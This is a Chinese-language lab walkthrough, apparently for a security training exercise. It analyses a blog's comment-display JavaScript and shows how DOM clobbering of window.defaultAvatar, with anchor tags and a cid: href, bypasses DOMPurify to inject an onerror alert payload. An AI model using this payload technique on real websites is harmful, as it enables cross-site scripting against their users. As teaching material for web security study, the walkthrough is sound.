进入实验随意进入一篇博客
我们可以尝试随意提交一些恶意代码看看会发生什么
很显然我们提交成功了但是我们的恶意代码貌似被过滤了
查看源码发现这里有一个过滤框架
我们打开源码分析
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
//我们主要分析这里以下的代码上面是通过ajax重新将过滤后的页面展示在前端
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
//它先是在寻找是否有头像如果没有的话它会使用默认的头像
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
if (comment.author) {
//可以看到这是对提交连接的一个展示
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
//对用户提交的名称做了过滤
let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
firstPElement.innerHTML = newInnerHtml
}
//这里它使用了默认的时间
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(divImgContainer);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
//用框架过滤我们的评论内容
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};
通过分析我们知道了
对于提交的用户名称以及用户的评论的内容它使用了过滤框架对我们的提交内容做了过滤
对于提交的链接和邮箱它里面有正则对我们的提交的内容进行了限制
怎么办呢?
我们分析代码可以看到它在获取头像和展示头像时没有使用框架进行过滤
这里可以看到它本身是没有defaultAvarat这个值的
我们可以想一想这个值是不是可以被替换如果可以被替换那我们最终的代码是不是可以被放在img标签的src中
这里就是一个由于⾮标准化的 DOM ⾏为,浏览器有时可能会向各种 DOM 元素添加 name & id 属性,作为对⽂档或 全局对象的属性引⽤,但是,这会导致覆盖掉 document原有的属性或全局变量,或者劫持⼀些变量的内容
通过这个例子我们可以看出这是完全可行的
也就是说如果我们可以让window.defaultAvatar = 1" οnerrοr=alert(1)
然后放入到我们的img标签中我们是否就实现一个弹窗的效果
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
我们可以看到这段代码最终是将defaultAvatar.avatar放在了img中
这是一个两个层级的关系所以我们应该实现
<img id="defaultAvatar"><img id="defaultAvatar" name="avatar">
让它通过defaultAvatar拿到两个标签然后通过avatar拿到我们写有恶意代码的标签
这样的话我们可以构造我们的恶意代码
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
cid是过滤框架允许使用的协议但是这个协议不对双引号进行url编码所以我们需要写实体编码
我们就ok了